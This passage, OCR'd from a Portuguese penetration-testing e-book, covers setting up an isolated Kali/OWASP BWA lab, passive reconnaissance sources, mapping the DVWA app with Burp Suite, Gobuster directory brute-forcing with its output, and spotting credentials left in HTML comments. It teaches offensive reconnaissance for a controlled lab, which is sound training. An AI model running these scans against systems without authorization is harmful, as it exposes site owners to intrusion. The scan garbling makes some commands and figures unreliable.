Feito o procedimento, inicie a maquina Virtual OWASP BWA
e faca o login com as credenciais informadas na tela, sendo elas:

Usuario: root
Senha: owaspbwa

Pronto! Agora sua maquina OWASP BWA esta funcional.
Podemos entdo partir para a proxima etapa de configuragio.

2.3 CONFIGURANDO O AMBIENTE DE
TESTES NO VIRTUALBOX

Sempre que for necessario realizar um teste de invasio em
maquinas e sistemas que ndo conhecemos, é uma boa pratica
construir um ambiente de homologacao isolado. O meio hacker
pode ser um pouco perigoso e vocé deve sempre se precaver. Ja

imaginou que podem existir malwares pré-instalados? Pois ¢, esteja
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sempre alerta para nio se tornar uma vitima, tenha cuidado!

Independente disso, é importante criar e manter esse costume
para os testes de invasdo. Com base nesse preceito, vamos
configurar no VirtualBox uma rede segregada para a maquina alvo.
Tenhamos em mente que ndo existe seguranca total, mas podemos
adicionar barreiras para desmotivar alguém que queira nos atacar.

No primeiro passo, vamos criar no VirtualBox uma rede
interna. Essa rede ndo saird direto para a internet. Para fazer isso,
devemos abrir o VirtualBox, selecionar a maquina virtual OWASP
BWA e clicar em Configuragoes. Apds isso, vamos a opgao Rede e,
no campo Conectado a:, selecionaremos a op¢ao de Rede Interna.
Abaixo da opgdo selecionada, temos o nome da rede interna e
podemos colocar casadocodigo. Esse nome devera ser colocado em
todas as maquinas virtuais que fardo parte dessa rede interna do
VirtualBox. A figura exposta a seguir exibe o resultado dessa nossa

configuragio.
Rede
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4

Habilitar Placa de Rede

Conectado a: |Rede Interna ¥

Mome: | casadocodigol e

[ Avancado (D)

Figura 2.6: Interface de rede da maquina virtual OWASP BWA.

Vamos agora configurar a maquina virtual do Kali Linux. Para
o Kali, a configuragido devera ser um pouco diferente, pois ele

precisa se conectar a internet para possiveis atualizacdes e
downloads. Para isso, vamos configurar no Kali Linux, por meio
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do VirtualBox, duas interfaces de rede. Uma estard em modo NAT

e a outra na rede interna casadocodigo. Essas configuragoes
também deverdo ser feitas no menu configuraces > Rede.
Configure as interfaces nas abas Adaptador 1 e Adaptador 2
conforme a figura a seguir.

Adaptador 1 Adaptador 2 Adaptador 3

[ Habilitar Placa de Rede

Conectado a: |NAT

P avancado (D)

Adaptador 1 Adaptador 2 Adaptador 3

I Habilitar Placa de Rede
Conectado a: |Rede Interna

Mome: casadocodigo

Adaptador 4

Adaptador 4

& Avancado (D)

Figura 2.7: Interface de rede da maquina virtual Kali Linux.

Com as configuragdes feitas, vamos iniciar as duas maquinas
virtuais. A configuragdo de rede interna nao proporciona DHCP

para interfaces de rede, entdo vamos configurar o IP estatico. Para
isso, faca o login na maquina virtual OWASP BWA e acesse o

arquivo

/etc/network/interfaces com o editor de sua

preferéncia e deixe-o com o seguinte conteudo:

auto lo
iface lo inet loopback

auto ethe

iface eth® inet static
address 10.0.0.1
netmask 255.255.255.0
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Logo apos essa alteragdo no arquivo, vamos reiniciar a
maquina OWASP BWA com o comando reboot .

Agora, vamos configurar as interfaces de rede da maquina
virtual Kali Linux. Nesta maquina, temos duas interfaces e em uma
delas ndo precisamos mexer, pois a configuracdo padrao do NAT
feito pelo VirtualBox na interface eth0 ja nos atendera. Ja a
segunda interface de rede, ethl, devemos atribuir um IP estatico,
conforme feito para a interface de rede da maquina OWASP BWA.
Para isso, a configuracdo listada a seguir deve ser replicada no
arquivo /etc/network/interfaces da maquina Kali Linux.

auto lo
iface lo inet loopback

auto etho
iface eth® inet dhcp

auto ethi

iface ethl inet static
address 10.0.0.2
netmask 255.255.255.0

Apods essas configuragdes, reinicie o Kali com o comando
reboot . Agora, precisamos testar a conectividade do Kali com a
internet e com a maquina OWASP BWA. Execute primeiro o
comando apt-get update , que atualiza a lista de pacotes. O

sucesso da atualizagdo da lista de pacotes é evidenciado na figura a
seguir e confirma a conexdo da maquina com a internet.

:~# apt-get update
Get:1 http://http.kali.org/kali kali-rolling InRelease [30.5 kB]
Get:2 http://http.kali.org/kali kali-rolling/main amd64 Packages [16.5 MB]
Get:3 http://http.kali.org/kali kali-rolling/non-free amd64 Packages [199 kB]

Get:4 http://http.kali.org/kali kali-rolling/contrib amd64 Packages [101 kB]
Fetched 16.8 MB in 1min 14s (228 kB/s)
Reading package lists... Done

Figura 2.8: Atualizagdo da lista de pacotes do Kali Linux.
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Depois, vamos verificar a rede interna casadocodigo. Para isso,
vamos realizar um simples teste de conexdo com a madquina
OWASP BWA utilizando o comando ping 10.0.0.1 -c 3.

:~# ping 10.0.0.1 -c 3
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=2.22 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=1.12 ms

64 bytes from 10.0.0.1: icmp_seq=3 ttl=64 time=1.00 ms

-—— 10.0.0.1 ping statistics -—
3 packets transmitted, 3 received, 0% packet loss, time 2806ms
rtt min/avg/max/mdev = 1.004/1.446/2.219/0.548 ms

Figura 2.9: Teste de conexao.

Agora sim, o nosso ambiente estd comprovadamente
funcional.

24 PROTEGENDO CONTRA AS PERDAS
USANDO SNAPSHOTS

Antes de darmos inicio aos nossos testes de invasao, temos que
ter ciéncia de que a realizacio desse tipo de teste pode
comprometer as maquinas virtuais. Esse comprometimento pode
ser tanto na maquina Kali, pela instalacdo de diversos softwares
suspeitos, quanto na OWASP BWA, pelo risco de corrompé-la
com os ataques feitos.

Para mitigar o problema, podemos utilizar a fungio de
snapshot. Essa op¢ao salva o estado atual da maquina virtual que,
assim, pode posteriormente ser restaurado caso exista a
necessidade. Entdo, com as maquinas virtuais desligadas, devemos
seleciona-las, uma por vez, e ir na op¢ao snapshot do VirtualBox,
conforme a figura a seguir.
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i‘" Oracle VM VirtualBox Gerenciador
Arquivo ()  Maquina  Snapshot  Ajuda (H)
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Logs
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Figura 2.10: Snapshots.

Apos isso, clique na opgao Criar e nomeie o seu snapshot para
inicial nas duas maquinas. Agora, sinta-se seguro para acessar
e conhecer as aplicagoes web da maquina OWASP BWA. Caso
algo venha a comprometer uma das mdaquinas no decorrer das
atividades, vocé pode simplesmente clicar em Restaurar no menu
do snapshot criado e continuar de onde parou.

Consideragdes finais do capitulo

Este capitulo teve como objetivo elaborar um ambiente virtual
simulado onde é possivel realizar a aplicagdo de diversas técnicas
de invasdo de sistemas web de uma forma segura. Para isso,
fizemos download das mdaquinas virtuais Kali Linux e OWASP
BWA. Para adapta-las as nossas necessidades de testes, realizamos
também configuracdes adicionais e criamos os snapshots, o que
nos permite restaurar as maquinas caso algum imprevisto
interrompa o seu funcionamento.
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CapiTuLO 3

RECONHECENDO O
INIMIGO

A primeira fase de qualquer agdo, independente do ramo, é
conhecer. No caso dos testes de invasdo, isso ndo ¢ diferente. O
primeiro passo do pentest é se passar por um atacante, e ele, antes
de tudo, precisa obter informagdes sobre o sistema para planejar
seus ataques futuros.

Essas informagdes obtidas na fase de reconhecimento serdo
aplicadas em fases posteriores, como a exploracao e a pos-
exploragdo. O sucesso de um ataque depende do quio bem foi feito
o reconhecimento no alvo, para todos os casos.

Neste capitulo, veremos diversas técnicas utilizadas por agentes
maliciosos para mapear os vetores de ataque em uma aplicagdo
web. Vocé, de posse dessas habilidades hackers, podera auxiliar a
equipe de desenvolvimento para que as defesas proporcionem mais
dificuldades ao atacante desde essa primeira fase. Essa dificuldade
logo no inicio tende a desmotivar grande parte dos agentes
maliciosos que poderio oferecer riscos ao sistema.
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3.1 UMA PINCELADA SOBRE
RECONHECIMENTO PASSIVO

O ataque cibernético tem inicio na fase de reconhecimento
passivo, onde um suposto atacante comega a reunir informagdes
sobre um alvo com a minima interagdo possivel. Nessa fase do
ataque, o ideal para a defesa é que o atacante ndo consiga nenhum
conhecimento sobre a aplicacdo, no entanto sabemos que isso é
praticamente impossivel.

Existem diversas ferramentas que consultam as bases de dados
na internet e que armazenam informagées que podem
comprometer um sistema, como configuracdes, versdes das
tecnologias utilizadas, informagdes de fluxo e, até mesmo,
credenciais de acesso. Além disso, podemos descobrir e aproveitar
acoes feitas em ataques anteriores por meio, por exemplo, dos
famosos backdoors. Backdoor é um software que possibilita um
atalho para que um agente malicioso que ja obteve sucesso em um
ataque volte a ter acesso ao sistema sem precisar repetir o processo
de exploragdo. O backdoor na maioria dos casos pode ser
considerado uma espécie de "SSH escondido".

O foco deste livro ndo é realizar testes em sistemas publicados
na internet e sim realiza-los em ambiente controlado, entdo essas
técnicas ndo serdo apresentadas com detalhes. Adiante segue uma
lista de ferramentas que exibem esse tipo de informagdo na
internet. Caso o seu sistema ja esteja publicado, é de grande valor
que vocé faca uma verificacdo passiva para auxiliar sua equipe
quanto aos riscos atuais, informagoes sobre o sistema que ja estao
disponiveis publicamente e, até mesmo, sobre os possiveis ataques
que foram realizados com sucesso e ndo sio de conhecimento da
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equipe de defesa.

Netcraft: ao entrar com uma URL no campo de pesquisa em
seu site https://www.netcraft.com, sdo apresentadas diversas
informacdes sobre o servidor que hospeda a aplica¢ao, tais como
dados de whois e de versdes de tecnologias utilizadas.

SSL Tools: muitos sites habilitados para SSL tém um unico
certificado que funciona em varios dominios. Essa ferramenta,
disponivel em https://ssltools.com, é capaz de recuperar os
dominios listados no atributo SAN do certificado.

Web Archive: o https://web.archive.org constréi uma
biblioteca digital de sites da internet. Sua missao ¢ fornecer acesso
universal a todo conhecimento e para isso sao feitos snapshots dos
sites da internet no decorrer do tempo. Tente ver como era algum
site conhecido ha 15 anos, por exemplo.

XSSed: com o auxilio do http://www.xssed.com, pode-se
encontrar vulnerabilidades XSS ja descobertas em um site sem a
sua interagdo direta. O site também conta com recurso de envio de

e-mail caso algum dia um dominio especifico seja alvo de ataque
de XSS.

Wolfram Alpha: alguns sites podem definir um subdominio
diferente para facilitar a geréncia, segregacao, entre outros. O
https://www.wolframalpha.com pode ajudar a descobrir essas
peculiaridades e passar o conhecimento sobre vérios aspectos do
dominio.

Shodan: o https://www.shodan.io é um mecanismo de busca
unico, é a primeira search engine de computadores, muitas vezes
apelidada como a search engine para hackers. Pode-se usar o
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Shodan para encontrar diferentes tipos de informacio sobre um
alvo.

DNSdumpster: o https://DNSdumpster.com ¢ uma ferramenta
de pesquisa de dominio que pode descobrir hosts relacionados a
um dominio.

Whatcms: além de realizar um teste para verificar o CMS do
site, o https://WhatCMS.org também armazena um histérico dos
ultimos sites que foram alvo de pesquisa.

Quttera & Sucuri: caso um site ja tenha sido abusado, hd uma
chance de existir alguma vulnerabilidade correlacionada e, por
mais que a vulnerabilidade ja tenha sido corrigida, um backdoor
pode estar persistido. As brechas deixadas pela invasao do servidor
podem abrir portas para novas exploracdes. Verifique isso em
https://sitecheck.sucuri.net e https://quttera.com.

Pastebin: para os hackers, o https://pastebin.com é uma
ferramenta de divulgagdo ampla de informagdes adquiridas em
ataques cibernéticos, o que pode ser de grande utilidade caso o
sistema alvo de um atacante ja tenha sido alguma vez vitima de
uma a¢ao cibernética.

GitHub: alguns sistemas na internet podem estar presentes no
https://github.com. Dessa forma, qualquer pessoa pode ter acesso a
toda légica do sistema e, com o cddigo-fonte da aplicagdo, o
sistema podera ser colocado em ambiente de homologagao para
descobrir falhas, de forma que torne mais eficiente um ataque
aquela aplicacao.

7

Foruns técnicos: ¢ muito comum desenvolvedores e outros

profissionais de TI postarem em foruns problemas técnicos que
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venham a ocorrer em sua instituicdo em busca de solugdes. Na
maioria das vezes, essas postagens revelam informagoes internas de
uma aplicagdo, como partes de codigos e tecnologias empregadas.

Sites de empregos: a partir da andlise das vagas de empregos
langadas por uma institui¢do, podemos ter nogao das tecnologias
utilizadas e assim adquirir informag¢des que podem ser valiosas
sobre todos os componentes de um sistema interno.

O reconhecimento passivo nao se resume a essas ferramentas, é
um ramo extremamente grande e é possivel obter diversas outras
informacoes sobre os mais variados tipos de sistemas. Digo isso
com o objetivo de mostrar a vocé as possibilidades que ainda
podem ser buscadas, para além do escopo do livro.

3.2 MAPEANDO A APLICACAO

Mapear a aplica¢ao significa que vocé deve ser capaz de
catalogar todas as paginas, diretorios, fungdes, pardmetros,
arquivos, entre outros itens que a aplicacdo possa produzir ou
acessar diretamente. Para isso, vocé precisard navegar primeiro
pelos itens conhecidos, ou seja, que estio indexados. Com esse
objetivo, vocé deve acessar todos os recursos da aplicagio web e
realizar todas as operagdes ao seu alcance. Entre essas operagoes,
vocé deve realizar o envio dos formularios, agindo como se fosse
um usuario comum, sem qualquer a¢do ofensiva, por enquanto!

Fazendo isso, vocé podera enumerar a aplicacdo e saberd se
existe algum erro ou exposi¢do de informacao sensivel que tenha
sido colocada em produgio por engano ou por falta de
conhecimento do risco que aquela exposi¢ao acarreta.
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Ao enumerar a aplicagdo, vocé podera ter um grande trabalho
se fizer esse processo manualmente, identificando e anotando em
bloco de notas. Se optar por um método assim, podera ser
improdutivo, pois demorara muito. Para isso, existem ferramentas
no Kali Linux que podem nos auxiliar, e uma delas é o Burp Suite.
O Burp é um proxy que cataloga as interagdes com as aplicagdes
web, mas ele vai além de ser apenas um proxy, pois estard sob seu
acesso e controle. Para demonstrar na pratica como isso pode ser
feito, ligue a sua maquina Kali e faga o login, também inicie a
maquina OWASP BWA e vamos realizar algumas operagdes.

O primeiro passo ¢ abrir o Burp e coloca-lo em funcionamento
como proxy. Para isso, abra o menu do Kali e va até Web
Application analysis. Depois, clique no menu de nome burpsuite,
conforme a figura a seguir.

B miaw
Q|

*I Favorites « CMS & Framework Identificat...
= Web Application Proxies
« Web Crawler rectory Br...

I Usual Applications
Q 01 - Information Gathering

@ 02 - Vulnerability Analysis
httrack

paros

S8 skipfish

Figura 3.1: Burp Suite no menu do Kali.
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Apos abrir o Burp, apenas ligue-o clicando nos botdes Next e
Start burp. Depois disso, vamos configurar o navegador para
utilizar o Burp como proxy. Acesse o Web Browser no menu
principal e vocé verd que é o Mozilla Firefox, esse é o navegador
com o qual trabalharemos no decorrer das atividades. Para
configurar o proxy, acesse preferences > connection settings ou
procure por proxy na caixa de pesquisa. Configure-o com o IP
127.0.0.1 e a porta 8080.

Connection Settings x

Configure Proxy Access tothe Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
© Manual proxy configuration
HTTP Proxy 127.0.0.1 Port| 8080

Use this proxy server for all protocols

Help Cancel oK

Figura 3.2: Configuragao de proxy.

Realizadas as configuragdes, clique no botdo OK e vamos
comegar a navegar por uma das aplicagdes da maquina OWASP
BWA, para praticar as nossas habilidades hackers.

Acesse a aplicagdo http://10.0.0.1/dvwa/ e note que o Burp
interceptou a sua primeira requisicdo. Ele fard isso com toda
requisicdo que vocé realizar e, se quiser, pode até mesmo realizar
as modificacbes necessarias nessa tela apresentada. A figura
seguinte exibe essa requisi¢do interceptada.
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http://10.0.0.1/dvwa/

Sequencer T Decoader T Cemparer T Extender T Project options T_

Dashboard T Target T Proxy T Intruder T

j Intercept T HTTP history T WebSeockets history T Options ]

£ Request to http://10.0.0.1:80

L

Forward J [ Drop J | Irterceptison | Action Commen

j Raw T Params ]’ Headers T Hex ]

[-a B S TL R N

w

[T}

GET fdwwa/ HTTP/L.1

Host: 10.8.8.1

User-Agent: Mozillas5. 0 (X11;, Linux x86_G64; rv:G68. 0) Gecko/20100101 Firefox/G68.0
Accept: textshtml, application/xhtml+xml, application/xml; qE@. 9 */* 0. 8
Accept-Language: en-US en; 0. 5

Accept-Encoding: gzip, deflate

Connection: close

Cookis: security=Llow; PHPSESSID=sihwmlpgSOivahulSmkpiSd747; acopendivids=
swingset, jotto, phpbb2, redmine; acgroupswithpersist=nada; JSESSIONID=
EAB11170F9E11BDEEAA4CDIDATSOSECE

Upgrade-Insecure-Requests: 1

Figura 3.3: Primeira requisi¢ao interceptada no Burp.

\

Para dar continuidade a sua navegagdo, vocé pode clicar no

\ .

botdo Forward. Esse botiao dard sequéncia a requisicio que foi

interceptada. Depois que vocé fizer isso, o sistema acessado sera

exibido no navegador, normalmente.

N
DVWA

Password

Login

Figura 3.4: Login DVWA.
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Para fim de nossas atividades, na aba proxy > intercept, clique
no botao intercept is on, deixando-o como off. Esse botao ativard a
fun¢do de encaminhamento automatico das requisicdes, sem que
vocé precise ficar clicando em Forward. Dessa forma também, o
Burp armazenara o histérico de todos os links de que ele ganha
conhecimento em sua navegagao.

Para visualizar a estrutura do sistema, primeiro faca uma boa
navegacao no DVWA. A credencial de acesso é admin/admin
Nele, acesse varios links e submeta alguns formuldrios. Depois que
realizar essas atividades, va até a aba target do Burp e visualize a
estrutura em que vocé navegou.

J Site map T Scope T Issue definitions ]

‘ Filter: Hiding not found items; hiding €55, image

¥ | httpi10.0.0.1
0
O dvwa
¥ [ dvwa
&
[ about.php
¥ [ dvwa

Images

is

ids_log. php
inclesx. php
instructions. php
login. php
logout.php
phpinfo.php
security. php
setup.php
wulnerabilities

rrT

NoE00EEC Dy v

L4

¥

Figura 3.5: Site map.

A figura exibe o conteudo dentro da aba Site map. Esses sao

34 3.2 MAPEANDO A APLICACAO
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



todos os arquivos que o Burp conseguiu identificar como
existentes apds a sua navegacdo pelo sistema. Os itens que
aparecem em cinza sao itens que nao foram acessados diretamente,
mas a partir dos links das paginas pelas quais vocé navegou. O
Burp catalogou sua existéncia. Vamos acessar o arquivo

phpinfo.php para comprovar sua acessibilidade e verificar as
configuragdes do servidor.

Para acessar o arquivo, no Site map, clique com o botao direito
sobre phpinfo.php e selecione a opgao copy URL. Apds isso, cole
a URL na barra de endereco do navegador e verifique as
configuragdes expostas. Com essa fungdo do Burp, seremos
capazes de tomar conhecimento de arquivos que podem néo estar
explicitamente visiveis pela navegacdo normal. Em casos como
esses, podemos ter acesso aos arquivos antigos, esquecidos dentro
do servidor, e a outras falhas desse tipo.

Enumerando as requisi¢oes e os parametros

O mapeamento dos arquivos encontrados ndo é a unica fungio
que o Burp pode nos oferecer nesse sentido. Vocé deve ter
realizado diversas requisicdes para a aplicagdo e, como pode ter
notado, o Burp teve acesso a elas.

O Burp armazena um historico de todas as solicitagdes feitas, e
vocé pode ter um mapeamento das fungdes e pardmetros. Para ter
acesso ao historico de requisi¢oes feitas, va até a aba proxy > HTTP
History e veja todas elas. A figura a seguir exibe essa
funcionalidade.
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Seguencer T Decoder T Comparer T Extender T Project options T User options
D ashboard T Target T Proxy T Intruder T Repeater

Intercept | HTTP histery T WebSockets histary T Optiens ]

| Filter: Hiding CSS, image and general binary contert

| # 4| Host | Methed | URL | Params | Edited | Status | Length |
180  httpif10.0.0.1 POST  Jdvwallogin.php v 302 558

| 181 http:jj10.0.0.1 GET fehvwajlogin.php 200 1777

| 182 http:10.0.0.1 POST  Jevwallogin.php v 302 558

| 183 hittp:j10.0.0.1 GET fdvwajindex. php 200 5218

. / ]

Request | Response

Raw | Params Headers Hex

POST fdwwa/login.php HTTP/1.1

Host: 10.0.8.1

User-Agent: Meozilla/S.0 (¥11; Linux xB6_&4; rv:62.0) Gecke/ /20100101 Firefox/62.0

Accept: text/html, application/xhtml+xml, application/xml; cF@. 9, */*, 0. 8

Accept -Language: en-US, en; cF0.5

Accept-Encoding: gzip, deflate

Referar: http: //10.0.0. 1/dvwa/login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: 41

18 Connection: close

11 Cookie: security=low; PHPSESSID=sihvmlpg&@ivahuiZmkpi5d747; acopendividss
swingset, jotto, phpbb2, redmine; acgroupswithpersist=nada; JSESSIONID=

12 Upgrade-Insecure-Requests: 1

13

14 Lisername=adminépassword=adminglogirclogin

0~ @ W W

w

Figura 3.6: Historico de requisigoes

Com esse historico, vocé podera também enumerar as
requisi¢des e parametros de interesse. Continue a navegar pelas
aplicagdes e veja o que o Burp Suite pode oferecer de informagao.

3.3 DESCOBRINDO OS ARQUIVOS
ESCONDIDOS COM GOBUSTER

Uma pratica essencial para o profissional de seguranca ofensiva
é a capacidade de encontrar arquivos que nio estido indexados na
aplicagdo web. Esses arquivos podem estar presentes na raiz do
sistema web por diversos motivos, dentre os quais esta o descuido
de administradores e desenvolvedores em relagdo aos arquivos

36 3.3 DESCOBRINDO OS ARQUIVOS ESCONDIDOS COM GOBUSTER
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



antigos. Outro caso muito comum ¢ a existéncia de arquivos de
log, de instalagdo e de backup. A partir da busca por esses arquivos
ocultos, vocé podera ter acesso a informagdes que oferecem
grandes possibilidades de aperfeicoamento do ataque cibernético.

Existem diversas ferramentas que podem ser utilizadas para
esse contexto. No escopo deste livro, abordaremos apenas a
ferramenta Gobuster, que possui diversas opg¢des, sendo muito
maleavel. Em suma, é uma ferramenta eficaz e rapida. Vamos
explora-la em uma das aplicagbes da OWASP BWA, e vocé pode
acompanhar os passos no seu laboratoério.

Antes de comegar a empregar a ferramenta Gobuster,
precisamos conhecer um pouco sobre wordlists. As wordlists sdo
arquivos, geralmente de texto, que possuem um conjunto de
palavras que sdo comuns a alguns tipos de situagdes. Por exemplo,
para este caso, temos a wordlist de palavras comumente usadas
como nome de diretérios e arquivos em aplicagbes web. O
diretério do Kali  /usr/share/wordlist  nos traz vdrias
wordlists, cada uma com a sua aplicabilidade. No entanto, esse
diretdrio ndo é o unico no Kali que traz esse tipo de arquivo. Para
visualizar os diversos lugares que podem nos oferecer uma
wordlist, podemos utilizar o comando find /usr/share/ -type
d -iname "*wordlist*" .

Para comegar a nossa procura por conteido oculto nas
aplicacdes web, vamos primeiro escolher uma wordlist. Em nosso
caso, utilizaremos a wordlist common . txt dentro de

/usr/share/dirb/wordlists , que contém nomes comuns de
diretdrios e arquivos em aplicagoes web. Caso deseje visualizar o
seu conteudo, vocé pode digitar o seguinte comando no terminal:

3.3 DESCOBRINDO OS ARQUIVOS ESCONDIDOS COM GOBUSTER 37
E-book gerado especialmente para Junior Andreucci - acer_pcl23@outlook.com



cat /usr/share/dirb/wordlists/common.txt . Visualize
também outras wordlists que estejam nos diretérios citados, ha os
mais diversos tipos e tamanhos.

Agora, vamos partir para o que realmente interessa, que é
descobrir o conteudo oculto na aplicagdo web. Para isso, instale o
Gobuster com o comando apt-get install gobuster e depois
utilize-o para realizar a primeira tentativa de descoberta. A opgédo

dir do Gobuster diz que a busca sera por arquivos e/ou
diretérios; a op¢ao -u é a URL raiz da busca; ja paraa -w , deve
ser passado o caminho para a wordlist que serd utilizada.

gobuster dir -u "http://10.0.0.1/mutillidae/" -w /usr/share/dirb/
wordlists/common. txt

.hta (Status: 403)
.htaccess (Status: 403)
.htpasswd (Status: 403)
.svn (Status: 403)
.git/HEAD (Status: 200)
.svn/entries (Status: 403)
/ajax (Status: 301)
/classes (Status: 301)
/data (Status: 301)
/documentation (Status: 301)
/images (Status: 301)
/includes (Status: 301)
/installation (Status: 200)
/javascript (Status: 301)
/index.php (Status: 200)
/index (Status: 200)
/page-not-found (Status: 200)
/passwords (Status: 301)
/phpmyadmin (Status: 301)
/phpinfo (Status: 200)
/phpinfo.php (Status: 200)
/robots (Status: 200)
/robots.txt (Status: 200)
/styles (Status: 301)

NN N N NN
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/test (Status: 301)
/webservices (Status: 301)

Que tal olhar alguns dos diretérios que possam ter credenciais?
Por incrivel que pareca, isso é comum. Perceba também, na
resposta do comando, que foi possivel descobrir diversos arquivos
que, antes, ndo poderiam ser percebidos. Sua busca por arquivos
ocultos dependera da sua wordlist: quanto mais completa ela for,
mais arquivos podem ser encontrados. Agora podemos tentar
melhorar ainda mais esses resultados obtidos e também explorar

outras fungdes que essa ferramenta nos oferece.

Em algum caso, pode ser que seja necessario que o Gobuster
realize agdes com autentica¢do. Se houver essa necessidade, vocé
podera adicionar a op¢do -c , tendo como valor o cookie da
sessdo. Uma outra fun¢ao extremamente importante para nossas
buscas ¢ a capacidade de indicar para o Gobuster a necessidade por
extensOes especificas. Na mesma aplicacdo, vamos adicionar a
op¢do -x .php,.txt . Com isso, para cada item da wordlist, o
Gobuster adicionara essas extensoes.

Levando em conta essas opgdes apresentadas, vamos realizar
uma busca em outra aplicagdo. Para melhorar nossa pesquisa,
vamos aumentar a performance adicionando threads com a opgéao

-t e também vamos filtrar apenas as respostas que sejam HTTP
200 OK com a op¢do -s .A op¢do -s ¢ muito utilizada quando a
aplicagdo responde um cdédigo HTTP padrio. Por exemplo, o
acesso direto a algumas paginas do wordpress faz com que elas
sejam redirecionadas para pagina de login ou para uma pagina de
erros etc. A utilizagdo da opgdo -s "200" se da porque, neste
momento, desejamos apenas listar as paginas que temos acesso
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confirmado. Essa necessidade pode variar muito, a depender da
aplicacdo. Em alguns casos, uma aplicagdo pode responder o
cdédigo 200 para tudo e, nessa hora, o pentester deve perceber qual
a sua necessidade e configurar corretamente esse pardmetro.

gobuster dir -u "http://10.0.0.1/wordpress/" -w /usr/share/dirbus

ter/wordlists/directory-1list-lowercase-2.3-small.txt -x .php,.txt
-t 10 -s “200”

/license (Status: 200)
/license.txt (Status: 200)
/index.php (Status: 200)

/index (Status: 200)

/index.php (Status: 200)

/php.ini (Status: 200)

/readme (Status: 200)

[ERROR] 2020/09/14 19:24:19 [!] Get http://10.0.0.1/wordpress/wp-
pass: 302 response missing Location header
/wp-config (Status: 200)
/wp-config.php (Status: 200)
/wp-blog-header (Status: 200)
/wp-blog-header.php (Status: 200)
/wp-login (Status: 200)
/wp-login.php (Status: 200)
/wp-links-opml (Status: 200)
/wp-links-opml.php (Status: 200)
/wp-mail (Status: 200)
/wp-mail.php (Status: 200)
/wp-commentsrss2 (Status: 200)
/wp-commentsrss2.php (Status: 200)
/wp-rdf (Status: 200)

/wp-rdf.php (Status: 200)
/wp-feed (Status: 200)
/wp-feed.php (Status: 200)
/wp-atom (Status: 200)
/wp-atom.php (Status: 200)
/wp-register (Status: 200)
/wp-register.php (Status: 200)
/xmlrpc.php (Status: 200)

/wp-rss (Status: 200)

/wp-rss.php (Status: 200)
/wp-trackback (Status: 200)
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/wp-trackback.php (Status: 200)
/wp-rss2 (Status: 200)
/wp-rss2.php (Status: 200)
/xmlrpc (Status: 200)
/xmlrpc.php (Status: 200)

Com isso, conseguimos mapear diversos arquivos no servidor
web que podem ser uteis em nossos testes de invasdo. Para esse
fim, existem varias ferramentas e também modos de busca que
podem ser consultados na lista de ferramentas do Kali e no manual
do Gobuster.

3.4 LISTANDO AS TECNOLOGIAS
UTILIZADAS

Sabemos que os sistemas ndo siao desenvolvidos do absoluto
zero. E muito comum a utilizacio de servidores web, bibliotecas,
frameworks e outras tecnologias ja disponibilizadas na internet. E
quando uma delas publicamente possui alguma vulnerabilidade,
por consequéncia, isso pode afetar todos os sistemas que a
utilizam.

O CVE (Common Vulnerabilities and Exposure) é um lista on-
line que contém relatos de vulnerabilidades encontradas em
softwares conhecidos. Por exemplo, acesse a seguinte URL:
https://www.cvedetails.com/cve/CVE-2009-3023/. Como  vocé
pode ver é um report grave de uma vulnerabilidade existente no
Apache Struts em versoes especificas. Essa vulnerabilidade permite
injecao de codigo, entao vocé ja deve saber o que pode acontecer
caso seu sistema use uma dessas versoes, nao é?

Outro site também muito importante é o ExploitDb, pois ele é
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um banco de dados de exploits. Os exploits sdo scripts
desenvolvidos para automatizar a exploragaio de uma
vulnerabilidade, basta executd-los da maneira correta. Acesse o
exploit para a vulnerabilidade do Apache Struts em
https://www.exploit-db.com/exploits/45260 e veja com os proprios
olhos.

Por isso, um fator muito importante é ser capaz de descobrir as
tecnologias utilizadas e suas respectivas versdes. Isso pode nos
ajudar a explorar a aplicagdo a partir de falhas ja conhecidas pela
comunidade hacker. Para descobrir tecnologias e suas versdes de
possivel identificagdo em um sistema web, podemos utilizar um
plugin chamado Wappalyzer. Esse plugin é disponibilizado para
diversos navegadores e vocé pode encontra-lo como addon do
Mozilla em https://addons.mozilla.org/pt-
BR/firefox/addon/wappalyzer/.

Apos instalado, acesse a URL http://10.0.0.1/joomla/ e
verifique as tecnologias utilizadas e as versdes, conforme a figura
seguinte.
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Figura 3.7: Tecnologias utilizadas e suas versoes.

Mais adiante neste livro, trabalharemos com mais detalhes a
utilizagdo dos exploits. Para este capitulo, basta mapearmos as
possiveis vulnerabilidades conhecidas em tecnologias empregadas
na aplicagdo web e a catalogacao dos exploits existentes para cada
uma delas.

Existem informacdes preciosas em comentarios?

A tag HTML ou de JavaScript para comentdrios ¢ um elemento
usado para deixar notas no coddigo que sdo principalmente
relacionadas ao sistema. O comentario é frequentemente usado
para explicar algo no cdédigo ou deixar algumas recomendagdes.
Algumas pessoas consideram uma boa pratica adicionar
comentarios, especialmente ao trabalhar com uma equipe ou em
uma empresa.

Os comentarios podem abranger varias linhas. Eles podem
conter cddigo ou texto e ndo aparecerdo no front-end do sistema
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web quando um usudrio visitar uma pagina. Vocé pode ver os
comentarios através do Console do Inspetor ou ver o cddigo-fonte
da péagina.

Os desenvolvedores, por vezes, esquecem que 0s comentarios
estdo acessiveis e deixam ir para producdo diversas informagdes
sensiveis, até mesmo credenciais para acesso ao sistema. Para ver
como isso realmente acontece, acesse http://10.0.0.1/ghost/ e olhe
os comentarios. Veja se consegue encontrar alguma informacao
que permita ampliar os seus testes no sistema. Tenho certeza de
que vocé encontrou. Isso existe e ¢ muito comum em sistemas,
principalmente, nos de desenvolvimento recente e conjunto. A
figura a seguir exibe a senha que pode ser encontrada no cédigo
HTML da pagina.

</script>

</head>

<body style='background-color:#3a3d32'>

<!--Attn Developers: Username: test Password: 1234 please remove when development is complete--=
<center><img src="images/logo.jpg" width='80%' height='175px' style='padding-top:0px;' /><br /=<a
<p>User Name:<br /><input type="text" name="user" /></p>

<p=Password:<br /><input type="password" name="pass" [></p=

<input type="submit" class='sub' value="Log In" />

</form=</center><br /><a onclick="showHint();"=Show Hints</a>

<center><p=Developed By: <a href="http://www.webdevelopmentsolutions.org">Gh837</a></p></center=
<p id="hint" style="visibility: hidden"-

Figura 3.8: Comentarios no codigo HTML.

